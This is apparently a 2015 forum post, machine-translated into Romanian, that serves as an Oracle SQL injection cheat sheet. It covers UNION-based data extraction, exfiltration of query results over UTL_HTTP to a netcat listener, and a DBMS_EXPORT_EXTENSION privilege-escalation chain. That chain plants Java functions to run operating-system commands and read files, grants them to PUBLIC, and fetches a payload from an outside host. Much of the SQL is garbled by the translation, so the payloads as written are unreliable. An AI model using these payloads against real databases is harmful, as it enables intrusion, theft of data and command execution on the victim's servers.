Această postare a fost editată ultima dată de test la 24-01-2015, ora 13:01
Comentariu: -- Execuția cu propoziții multiple nu este suportată, iar interogările federate sunt suportate Numele bazelor de date, tabele și coloanelor sunt toate scrise cu majuscule.
Lungime(câmp) ascii(substr(câmp, N, 1))
și (selectează count(*) din dual)>0 -- Determină dacă este oracol sau nu
Ordin de N--
și uniune 1=2 selectează null, null,.....,null din dual-- înlocuiește null cu N sau 'N'
și 1=2 union select null, (instrucțiune SQL) ,.....,nulă de la dual -- schimbare la (instrucțiune SQL) la 'N'
și (selectează numărătoarea(*) din all_objects unde object_name='UTL_HTTP')>0 -- Determină dacă UTL_HTTP este suportată (IP-ul de export este cunoscut)
și UTL_HTTP.request('http://LocalIP:port'|| (Declarație SQL)) =1-- Trimite de la distanță mesaje către ascultare locală, locală nc -vv -l -p 1234
Instrucțiuni SQL Selectează bannerul din sys.v_$version unde rownum=1 pentru a interoga versiunea oracolului select member din v$logfile unde rownum=1 Interoghează calea fișierului de jurnal (Windows sau Linux) selectează utl_inaddr.get_host_address de la dual pentru a interoga adresa de ascultare a bazei de date Selectează instance_name din v$instance pentru a interoga SID-ul selectează numele din v$database Interoghează numele actual al bazei de date selectați sys_context ('userenv','current_user') dintre utilizatorii cu două interogări de date selectează * din session_roles unde rownum=1 pentru a interoga permisiunile utilizatorilor curente selectează * din session_roles unde rownum=1 [și rolul<>'nume de primă permisiune']
selectați table_name din user_tables unde rownum=1 Primul segment de tabel al bazei de date curente select table_name|','|| tablespace_name din user_tables unde rownum=1 Primul segment de tabel, baza de date (pentru verificare, poate să nu fie v$database) selectează table_name din user_tables unde rownum=1 și table_name<>'primul segment de tabel' Al doilea segment de tabel al bazei de date curente
selectează column_name din user_tab_columns unde rownum=1 și table_name='Segment tabel' Primul câmp corespunzător numelui tabelului selectează column_name din user_tab_columns unde rownum=1 și table_name='Segment de tabel' și column_name<>'Primul câmp' Al doilea câmp corespunzător denumirii tabelului
Câmpul select din segmentul tabelului unde rownum=1 încalcă conținutul primei linii selectează câmpul din segmentul tabelului unde rownum=1 și câmpul <> 'conținut pe prima linie' expune conținutul celei de-a doua linii
Bibliotecă transversală selectează proprietarul din all_tables unde rownum=1 interogează primul nume de bază de date selectează proprietarul din all_tables unde rownum=1 și proprietar<> 'Primul nume de bază de date' pentru a interoga al doilea nume de bază de date
selectează table_name din all_tables unde rownum=1 și owner='numele bazei de date' Interoghează numele primului tabel al bazei de date corespunzătoare Selectează table_name din all_tables unde rownum=1 și Owner='Database Name' și table_name<>'First Table Name' pentru a interoga al doilea tabel al bazei de date corespunzătoare
selectează column_name din all_tab_columns unde rownum=1 și owner='database name' și table_name='table segment' Primul câmp corespunzător denumirii tabelului selectează column_name din all_tab_columns unde rownum=1 și owner='numele bazei de date' și table_name='segment tabel' și column_name<>'primul câmp' Al doilea câmp corespunzător denumirii tabelului
Selectează câmpul din baza de date. segment de tabel unde rownum=1 încalcă conținutul primei linii Selectează câmpul din baza de date. Segmentul de tabel unde rownum=1 și câmpul <> 'First Line Content' încalcă conținutul celui de-al doilea rând
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); END cu mai multe instrucțiuni; --','SYS',0,'1',0)--
Dacă 'is a scăpat, se folosește chr().
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Mai multe instrucțiuni || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Dacă mai multe propoziții sunt prea lungi, poți scrie declarația în fișierul site-ului și să folosești utl_http.request pentru a o recupera.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Creează un pachet JAVA SecTest runCMD este folosit pentru a executa comenzi de sistem și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAȚI IMEDIAT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE'' creează sau înlocuiește și compila sursa Java numită "SecTest" ca import java.io.*; clasa publică SecTest extinde Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); returnează forță; }catch(Excepția e){return e.toString(); }}}''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
readFile este folosit pentru a citi fișierul și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTAȚI IMEDIAT PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMMEDIATE'' creează sau înlocuiește și compila sursa Java numită "SecTest" ca import java.io.*; clasa publică SecTest extinde Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); returnează forță; }catch(Excepția e){return e.toString(); }}}''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
Acordarea permisiunilor Java și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ '''începe dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''executați''''''''); sfârșit; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
Creează o funcție Funcția SecRunCMD și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''creează sau înlocuiește funcția SecRunCMD(p_cmd în varchar2) returnează varchar2 ca limbaj java name''''''''SecTest.runCMD(java.lang.String) returnează String'''''''' ; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
Funcția SecReadFile și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''creează sau înlocuiește funcția SecReadFile(filename in varchar2) returnează varchar2 ca limbaj java name''''''''SecTest.readFile(java.lang.String) returnează String' '''''''; ''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
Acordați permisiunea de a îndeplini funcția publică SecRunCMD primește permisiuni și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ "'''acordă totul pe SecRunCMD publicului'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
SecReadFile și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUȚIA IMEDIATĂ '''acordă totul pe SecReadFile publicului'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)--
Detectează dacă funcția a fost creată cu succes și (selectează numărătoarea(*) din all_objects unde object_name='SECRUNCMD')>0-- și (selectează numărătoarea(*) din all_objects unde object_name='SECREADFILE')>0--
Executați comanda și '1'<> (selectează sys. SecRunCMD('Execute command') din dual)-- și '1'<> (selectează sys. SecReadFile ("adresa fizică a fișierului") de la dual)-- sau iar 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null de la dual-- iar 1=2 union select null,...,sys. SecReadFile('adresa fizică a fișierului'),...,null de la dual-- sau și '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| ÎNLOCUIRE(ÎNLOCUIRE(SYS. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) din dual)-- și '1'<>(select UTL_HTTP.request('http://LocalIP:port'|| ÎNLOCUIRE(ÎNLOCUIRE(SYS. SecReadFile('File Physical Address'),' ',' ','\n',' ')) din dual)--
Funcția de ștergere și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; START EXECUTE IMEDIAT '''funcția drop SecRunCMD''''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)-- și '1'<>'a'|| (selectați SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT". PUT(:P 1); EXECUTĂ IMEDIAT "DECLARĂ PRAGMA AUTONOMOUS_TRANSACTION; ÎNCEPE EXECUTAREA IMEDIATĂ '''funcția drop SecReadFile'''; SFÂRȘIT; ''; SFÂRȘIT; --','SYS',0,'1',0) din dual)-- |